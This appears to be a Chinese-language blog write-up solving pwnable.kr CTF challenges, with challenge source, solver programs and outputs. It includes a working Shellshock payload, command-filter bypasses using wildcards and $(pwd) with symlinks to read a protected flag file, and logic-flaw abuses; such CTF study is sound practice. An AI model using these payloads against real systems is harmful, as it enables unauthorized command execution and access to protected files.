ღ Miranda

pwnable.kr的PWN挑战之Toddler’s Bottle(二)

pwnable.kr is a non-commercial site which provides various pwn challenges regarding system exploitation. the main purpose of pwnable.kr is fun.

refer:
https://gist.github.com/ihciah/0ca68da3e32e38818bb9
http://rickgray.me/2015/07/24/toddler-s-bottle-writeup-pwnable-kr.html
http://weaponx.site/2017/02/21/unlink-Writeup-pwnable-kr/
https://github.com/Qwaz/solved-hacking-problem/tree/master/pwnable.kr

random-1pt

#include <stdio.h>

int main(){
    unsigned int random;
    random = rand();    // random value!

    unsigned int key=0;
    scanf("%d", &key);

    if( (key ^ random) == 0xdeadbeef ){
        printf("Good!\n");
        system("/bin/cat flag");
        return 0;
    }

    printf("Wrong, maybe you should try 2^32 cases.\n");
    return 0;
}

rand()函数不指定seed的话每次生成的随机数都是一样的,所以可以在本地运行一下,发现这个数值是1804289383:

root@kaliSevie:~/Desktop# ./test 
1804289383
root@kaliSevie:~/Desktop# ./test 
1804289383
root@kaliSevie:~/Desktop# ./test 
1804289383
root@kaliSevie:~/Desktop# ./test

然后和0xdeadbeef异或得到要输入的数字:

random@ubuntu:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...

input-4pt

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");

    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");

    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
    if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");

    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

    // file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

    // here's your flag
    system("/bin/cat flag");
    return 0;
}

Stage 1

if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

要求有100个命令行参数,argv['A']也就是第65个参数为"\x00",第66个为"\x20\x0a\x0d",由于这题要输入的比较多,所以最好写一个C程序输入,用execve()函数运行input:

int execve(const char *filename, char *const argv[], char *const envp[]);

程序如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main() {
    char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
    argv['A'] = "\x00";
    argv['B'] = "\x20\x0a\x0d";
   execve("/home/input/input",argv,NULL);
   return 0;
}

输出:

root@kaliSevie:~/Desktop# ./test 
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!

stage 2

char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

int memcmp(const void *buf1, const void *buf2, unsigned int count);是比较内存区域buf1buf2的前count个字节,该函数是按字节比较的,buf1、buf2为字符串时候memcmp()就是比较前count个字节的ascII码值。read(0, buf, 4);表示从标准输入读取4 bytesbuf中,要为"\x00\x0a\x00\xff",看实例:

root@kaliSevie:~/Desktop# cat test.c 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char* argv[]) {
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) 
        printf("Wrong\n");
    else    
        printf("Yes!\n");
    return 0;
}

root@kaliSevie:~/Desktop# python -c "print '\x00\x0a\x00\xff'" | ./test 
Yes!

read(2, buf, 4);表示从标准错误流读入,其实这两个可以一起用pipes实现,用两个pipes,一个stdin,一个stderr,可以参考http://unixwiz.net/techtips/remap-pipe-fds.html

Create two pipes: pipe2stdin and pipe2stderr
Fork the process
Parent:
    write “\x00\x0a\x00\xff” to pipe2stdin
    write “\x00\x0a\x02\xff” to pipe2stderr
Child:
    map the stdin to pipe2stdin
    map the stderr to pipe2stderr
    substitute the process with the execution of ‘input’

目前的代码为:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main() {
    char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
    argv['A'] = "\x00";
    argv['B'] = "\x20\x0a\x0d";
    int pipe2stdin[2] = {-1,-1};
    int pipe2stderr[2] = {-1,-1};
    pid_t childpid;

    if ( pipe(pipe2stdin) < 0 || pipe(pipe2stderr) < 0){
        perror("Cannot create the pipe");
        exit(1);
    }

    if ( ( childpid = fork() ) < 0 ){
        perror("Cannot fork");
        exit(1);
    }

    if ( childpid == 0 ){
        /* Parent process */
        close(pipe2stdin[0]); close(pipe2stderr[0]); // Close pipes for reading
        write(pipe2stdin[1],"\x00\x0a\x00\xff",4);
        write(pipe2stderr[1],"\x00\x0a\x02\xff",4);
    }
    else {
        /* Child process */
        close(pipe2stdin[1]); close(pipe2stderr[1]);   // Close pipes for writing
        dup2(pipe2stdin[0],0); dup2(pipe2stderr[0],2); // Map to stdin and stderr
        close(pipe2stdin[0]); close(pipe2stderr[1]);   // Close write end (the fd has been copied before)
        execve("/home/input/input",argv,NULL);  // Execute the program
    }
    return 0;
}

stage 3

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

这个可以将自己定义的env传递给execve()的的三个参数,env定义为:

char* env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};

stage 4

FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

“\x0a”这个文件名为不可打印字符,要创建并写入4 bytes:

size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main() {
    FILE* fp = fopen("\x0a","w");
    fwrite("\x00\x00\x00\x00", 4, 1, fp);
    fclose(fp);
    fp = fopen("\x0a", "r");
    if(!fp) printf("Wrong\n");
    else printf("Yes\n");
    return 0;
}

stage 5

int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
    printf("socket error, tell admin\n");
    return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
    printf("bind error, use another port\n");
        return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
    printf("accept error, tell admin\n");
    return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

首先创建了套接字,然后argv['C']指定了监听端口,并且要求接收到的前四个字节为\xde\xad\xbe\xef

int recv( _In_ SOCKET s, _Out_ char *buf, _In_ int len, _In_ int flags);
int cli
struct sockaddr_in server;
cli = socket(AF_INET, SOCK_STREAM, 0);
if ( cli < 0){
    perror("Cannot create the socket");
    exit(1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_port = htons(12345);
if ( connect(cli, (struct sockaddr*) &server, sizeof(server)) < 0 ){
    perror("Problem connecting");
    exit(1);
}
char buf[4] = "\xde\xad\xbe\xef";
write(cli, buf, 4);
close(cli);

最终程序如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main() {
    char *argv[101] = {"/home/input2/input", [1 ... 99] = "A", NULL};
    argv['A'] = "\x00";
    argv['B'] = "\x20\x0a\x0d";
    argv['C'] = "12345";
    int pipe2stdin[2] = {-1,-1};
    int pipe2stderr[2] = {-1,-1};
    pid_t childpid;
    char* env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};

    FILE* fp = fopen("\x0a","w");
    fwrite("\x00\x00\x00\x00", 4, 1, fp);
    fclose(fp);

    if ( pipe(pipe2stdin) < 0 || pipe(pipe2stderr) < 0){
        perror("Cannot create the pipe");
        exit(1);
    }

    if ( ( childpid = fork() ) < 0 ){
        perror("Cannot fork");
        exit(1);
    }

    if ( childpid == 0 ){
        /* Parent process */
        close(pipe2stdin[0]); close(pipe2stderr[0]); // Close pipes for reading
        write(pipe2stdin[1],"\x00\x0a\x00\xff",4);
        write(pipe2stderr[1],"\x00\x0a\x02\xff",4);
    }
    else {
        /* Child process */
        close(pipe2stdin[1]); close(pipe2stderr[1]);   // Close pipes for writing
        dup2(pipe2stdin[0],0); dup2(pipe2stderr[0],2); // Map to stdin and stderr
        close(pipe2stdin[0]); close(pipe2stderr[1]);   // Close write end (the fd has been copied before)
        execve("/home/input2/input", argv, env);  // Execute the program
    }

    sleep(5);

    int cli;
    struct sockaddr_in server;
    cli = socket(AF_INET, SOCK_STREAM, 0);
    if ( cli < 0){
        perror("Cannot create the socket");
        exit(1);
    }
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr("127.0.0.1");
    server.sin_port = htons(12345);
    if ( connect(cli, (struct sockaddr*) &server, sizeof(server)) < 0 ){
        perror("Problem connecting");
        exit(1);
    }
    char buf[4] = "\xde\xad\xbe\xef";
    write(cli, buf, 4);
    close(cli);
    return 0;
}

然后在远程服务器上的/tmp目录下创建C程序并编译:

input2@ubuntu:~$ cd /tmp
input2@ubuntu:/tmp$ mkdir bypss
input2@ubuntu:/tmp$ cd bypss
input2@ubuntu:/tmp/bypss$ vim by.c
input2@ubuntu:/tmp/bypss$ gcc -c by.c
input2@ubuntu:/tmp/bypss$ gcc by.o -o by
input2@ubuntu:/tmp/bypss$ ./by
input2@ubuntu:/tmp/bypss$ ln -s /home/input2/flag flag
input2@ubuntu:/tmp/bypss$ ./by
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Connected
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)

leg-2pt

题目给出了C源码和一份反汇编码:

#include <stdio.h>
#include <fcntl.h>
int key1(){
    asm("mov r3, pc\n");
}
int key2(){
    asm(
    "push   {r6}\n"
    "add    r6, pc, $1\n"
    "bx r6\n"
    ".code   16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push   {r3}\n"
    "pop    {pc}\n"
    ".code  32\n"
    "pop    {r6}\n"
    );
}
int key3(){
    asm("mov r3, lr\n");
}
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d", &key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}

由源码看出输入的key值为三个函数返回值之和,下面看汇编代码:

(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>: push    {r4, r11, lr}
   0x00008d40 <+4>: add r11, sp, #8
   0x00008d44 <+8>: sub sp, sp, #12
   0x00008d48 <+12>:    mov r3, #0
   0x00008d4c <+16>:    str r3, [r11, #-16]
   0x00008d50 <+20>:    ldr r0, [pc, #104]  ; 0x8dc0 <main+132>
   0x00008d54 <+24>:    bl  0xfb6c <printf>
   0x00008d58 <+28>:    sub r3, r11, #16
   0x00008d5c <+32>:    ldr r0, [pc, #96]   ; 0x8dc4 <main+136>
   0x00008d60 <+36>:    mov r1, r3
   0x00008d64 <+40>:    bl  0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:    bl  0x8cd4 <key1>
   0x00008d6c <+48>:    mov r4, r0
   0x00008d70 <+52>:    bl  0x8cf0 <key2>
   0x00008d74 <+56>:    mov r3, r0
   0x00008d78 <+60>:    add r4, r4, r3
   0x00008d7c <+64>:    bl  0x8d20 <key3>
   0x00008d80 <+68>:    mov r3, r0
   0x00008d84 <+72>:    add r2, r4, r3
   0x00008d88 <+76>:    ldr r3, [r11, #-16]
   0x00008d8c <+80>:    cmp r2, r3
   0x00008d90 <+84>:    bne 0x8da8 <main+108>
   0x00008d94 <+88>:    ldr r0, [pc, #44]   ; 0x8dc8 <main+140>
   0x00008d98 <+92>:    bl  0x1050c <puts>
   0x00008d9c <+96>:    ldr r0, [pc, #40]   ; 0x8dcc <main+144>
   0x00008da0 <+100>:   bl  0xf89c <system>
   0x00008da4 <+104>:   b   0x8db0 <main+116>
   0x00008da8 <+108>:   ldr r0, [pc, #32]   ; 0x8dd0 <main+148>
   0x00008dac <+112>:   bl  0x1050c <puts>
   0x00008db0 <+116>:   mov r3, #0
   0x00008db4 <+120>:   mov r0, r3
   0x00008db8 <+124>:   sub sp, r11, #8
   0x00008dbc <+128>:   pop {r4, r11, pc}
   0x00008dc0 <+132>:   andeq   r10, r6, r12, lsl #9
   0x00008dc4 <+136>:   andeq   r10, r6, r12, lsr #9
   0x00008dc8 <+140>:           ; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:           ; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:   andeq   r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>: add r11, sp, #0
   0x00008cdc <+8>: mov r3, pc
   0x00008ce0 <+12>:    mov r0, r3
   0x00008ce4 <+16>:    sub sp, r11, #0
   0x00008ce8 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx  lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>: add r11, sp, #0
   0x00008cf8 <+8>: push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add r6, pc, #1
   0x00008d00 <+16>:    bx  r6
   0x00008d04 <+20>:    mov r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop {pc}
   0x00008d0c <+28>:    pop {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov r0, r3
   0x00008d14 <+36>:    sub sp, r11, #0
   0x00008d18 <+40>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx  lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>: add r11, sp, #0
   0x00008d28 <+8>: mov r3, lr
   0x00008d2c <+12>:    mov r0, r3
   0x00008d30 <+16>:    sub sp, r11, #0
   0x00008d34 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx  lr
End of assembler dump.
(gdb) 

注意看三个函数的返回值都在r0寄存器里,一个一看。

key1:

(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>: add r11, sp, #0
   0x00008cdc <+8>: mov r3, pc
   0x00008ce0 <+12>:    mov r0, r3
   0x00008ce4 <+16>:    sub sp, r11, #0
   0x00008ce8 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx  lr
End of assembler dump.

最终r0里的值为pc里的值,PC代表程序计数器,流水线使用三个阶段,因此指令分为三个阶段执行:1.取指(从存储器装载一条指令),2.译码(识别将要被执行的指令),3.执行(处理指令并将结果写回寄存器)。而R15(PC)总是指向正在取指的指令,而不是指向“正在执行”的指令或正在“译码”的指令。一般来说,人们习惯性约定将“正在执行的指令作为参考点,称之为当前第一条指令,因此PC总是指向第三条指令。当ARM状态时,每条指令为4字节长,所以PC始终指向该指令地址 加8字节的地址,即:PC值=当前程序执行位置+8。所以这里pc8cdc+8=8ce4。即key1()返回8ce4

key2:

(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>: add r11, sp, #0
   0x00008cf8 <+8>: push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add r6, pc, #1
   0x00008d00 <+16>:    bx  r6   //mov pc,r6
   0x00008d04 <+20>:    mov r3, pc   //r3=pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop {pc}
   0x00008d0c <+28>:    pop {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov r0, r3
   0x00008d14 <+36>:    sub sp, r11, #0
   0x00008d18 <+40>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx  lr
End of assembler dump.

bx r6的作用等同于mov pc,r6,这里r0最终为r3的值,0x00008d04处的pc值赋给了r3,然后r3加了4bx r6r6地址处切换成thumb模式。进入thumb指令模式有两种方法:一种是执行一条交换转移指令bx,另一种方法是利用异常返回,也可以把微处理器从arm模式转换为thumb模式。退出thumb指令模式也有两种方法:一种是执行thumb指令中的交换转移bx指令可以显式的返回到arm指令流。另一种是利用异常进入arm指令流 。在thumb模式下pc = 当前地址+4。所以最后r08d04+4+4=8d0c

key3:

(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>: add r11, sp, #0
   0x00008d28 <+8>: mov r3, lr
   0x00008d2c <+12>:    mov r0, r3
   0x00008d30 <+16>:    sub sp, r11, #0
   0x00008d34 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx  lr
End of assembler dump.

返回结果是lr寄存器的值,lr就是连接寄存器(Link Register, LR),在ARM体系结构中LR的特殊用途有两种:一是用来保存子程序返回地址;二是当异常发生时,LR中保存的值等于异常发生时PC的值减4(或者减2),因此在各种异常模式下可以根据LR的值返回到异常发生前的相应位置继续执行。主函数中bl 0x8d20 <key3>bl指令调用了key3()函数,BL指令在转移到子程序执行之前,将其下一条指令的地址拷贝到R14(LR,链接寄存器),所以这里lr里为返回地址8d80

最后加起来换成十进制为108400:

/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!

mistake-1pt

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}

int main(int argc, char* argv[]){

    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
        printf("can't open password %d\n", fd);
        return 0;
    }

    printf("do not bruteforce...\n");
    sleep(time(0)%20);

    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;
    }

    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);

    // xor your input
    xor(pw_buf2, 10);

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }

    close(fd);
    return 0;
}

函数读取十位的输入,经过xor()函数后与password文件里的密码比较,正确就输出flag,但password文件不可读,注意这里:

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
    printf("can't open password %d\n", fd);
    return 0;
}

题目提示是运算符优先级的问题,<的优先级高于=,看下面的程序:

int main(){
    int fd;
    fd = open("~/Downloads/1.txt",O_RDONLY,0400) < 0;
    printf("%d\n", fd);
    return 0;
}

文件存在则输出为0,所以read(fd,pw_buf,PW_LEN)这句读取文件的语句实际是从输入流读入了10个字节的密码。所以很容易构造:

mistake@ubuntu:~$ ./mistake
do not bruteforce...
1111111111
input password : 0000000000
Password OK
Mommy, the operator priority always confuses me :(

shellshock-1pt

#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

由题目提示,shellshock又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。判断方法为执行命令env x='() { :;}; echo Shellshock' bash -c "exit",如果有输出,就说明存在该漏洞,检查目录下bash的版本为有漏洞的版本,直接可以构造payload:

shellshock@ubuntu:~$ /home/shellshock/bash --version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag;' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault

coin1-6pt

nc pwnable.kr 9007后可以看到游戏规则,就是一个二分法的题目,要在30
s
内解100次就会有flag,题目提示用任意账号连到服务器上跑脚本,脚本如下:

import socket

addr = ("0", 9007)

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client.connect((addr))

client.recv(2048)

def solve(client):
    for kk in range(100)
        question = client.recv(1024).strip()

        question = question.split()

        N = int(question[0].split("=")[1])
        C = int(question[1].split("=")[1])
        print "N is %d and C is %d" % (N, C)
        count = 0
        b = 0
        e = N-1

        for _ in range(C):
            if e == b+1:
                print str(b)
                client.send(str(b) + "\n")
                if int(client.recv(1024).strip()) == 9:
                    pass
                else:
                    b = e
            else:
                mid = (b + e) / 2
                data = ""
                for i in range(b, mid + 1):
                    data += "%s " % str(i)
                data += '\n'
                print data.strip()
                client.send(data)
                total = int(client.recv(1024).strip())
                print total
                print
                if total != ((mid - b + 1) * 10):
                    e = mid
                else:
                    b = mid + 1

        print "Answer is %d" % b
        client.send(str(b) + "\n")
        print client.recv(1024)

    print client.recv(1024)

solve(client)
import socket
from time import sleep

HOST = 'pwnable.kr'
PORT = 9007

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((HOST, PORT))

sock.recv(4096)

sleep(3)

for i in range(100):

    message = sock.recv(2048)

    for s in message.split(" "):
        exec(s)

    coin = [str(x) for x in range(0, N)]
    low = 0
    high = N - 1

    for j in range(C):

        medium = int((low + high) / 2) 
        question = ' '.join(coin[low:medium + 1])
        question += "\n"
        print question
        sock.send(question)
        message = sock.recv(2048)
        print message
        weight = int(message)
        if j == (C - 1):

            if weight == 10:

                res = high
            else:

                res = low
        else:

            if weight % 10 == 0:

                low = medium + 1
            else:

                high = medium

    sock.send(str(res) + "\n")
    print sock.recv(1024)

/tmp目录下创建脚本并执行就能得到flag:

Congrats! get your flag
b1NaRy_S34rch1nG_1s_3asy_p3asy

blackjack-1pt

这题源码在http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html,读源码发现在玩家输入下注金额时没有判断负数,所以可以简单地输入-$1000000为下注金额,然后输掉比赛就可以达到总金额$1000000的条件:

YaY_I_AM_A_MILLIONARE_LOL


Cash: $100000500
-------
|H    |
|  A  |
|    H|
-------

Your Total is 1

The Dealer Has a Total of 1

lotto-2pt

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r;
    r = read(0, submit, 6);

    printf("Lotto Start!\n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;     // 1 ~ 45
    }
    close(fd);

    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }

}

void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

    // menu
    unsigned int menu;

    while(1){

        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");

        scanf("%d", &menu);

        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}

要求输入六个数字与随机的六个数字完全一样,但判断这里循环了36次,也就是输入六个一样的字符,有一个相同就行了,几率还是比较大的,多试几次,比如一直输(((((((:

    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }
Submit your 6 lotto bytes : (((((((
Lotto Start!
sorry mom... I FORGOT to check duplicate numbers... :(

cmd1-1pt

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/fuckyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

strstr(str1,str2)函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回str2str1中首次出现的地址;否则,返回NULLint putenv(char *envvar)用来改变或增加环境变量的内容。参数envvar的格式为envvar=value,如果该环境变量原先存在,则变量内容会依参数envvar改变,否则此参数内容会成为新的环境变量。参数envvar指定的字符串会变成环境变量的一部分,如果修改这个字符串,环境变量也会跟着被修改。题目修改了环境变量,导致不能直接用cat命令,但可以用/bin/cat代替,不能出现flag字段,可以用通配符绕过:

cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla*"
mommy now I get what PATH environment is for :)

cmd2-9pt

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}

extern char** environ;
void delete_env(){
    char** p;
    for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if(filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system( argv[1] );
    return 0;
}

这题的函数过滤了更多的字符,而pwd命令可以直接产生/,从而可以绕过过滤,可以在/tmp目录下创建文件夹/tmp/my/c,然后在/tmp/my下创建/bin/cat的软连接,然后在/tmp/my/c下创建flag文件的软连接:

cmd2@ubuntu:/tmp$ mkdir -p my/c
cmd2@ubuntu:/tmp$ cd my
cmd2@ubuntu:/tmp/my$ ln -s /bin/cat cat
cmd2@ubuntu:/tmp/my$ cd c
cmd2@ubuntu:/tmp/my/c$ ln -s /home/cmd2/flag flag
cmd2@ubuntu:/tmp/my/c$ /home/cmd2/cmd2 "\$(pwd)at fla*"
$(pwd)at fla*
FuN_w1th_5h3ll_v4riabl3s_haha

\转义了/防止在程序中被当做命令先执行了,这样就会被过滤:

root@kaliSevie:~/Desktop# ./test "$(pwd)at fl"
/root/Desktopat fl
1
/root/Desktopat fl
sh: 1: /root/Desktopat: not found
root@kaliSevie:~/Desktop# ./test "\$(pwd)at fl"
$(pwd)at fl
0
$(pwd)at fl
  1. cleanmymac 3.9 key说道:

    Great, google took me stright here. thanks btw for info. Cheers!

发表评论

电子邮件地址不会被公开。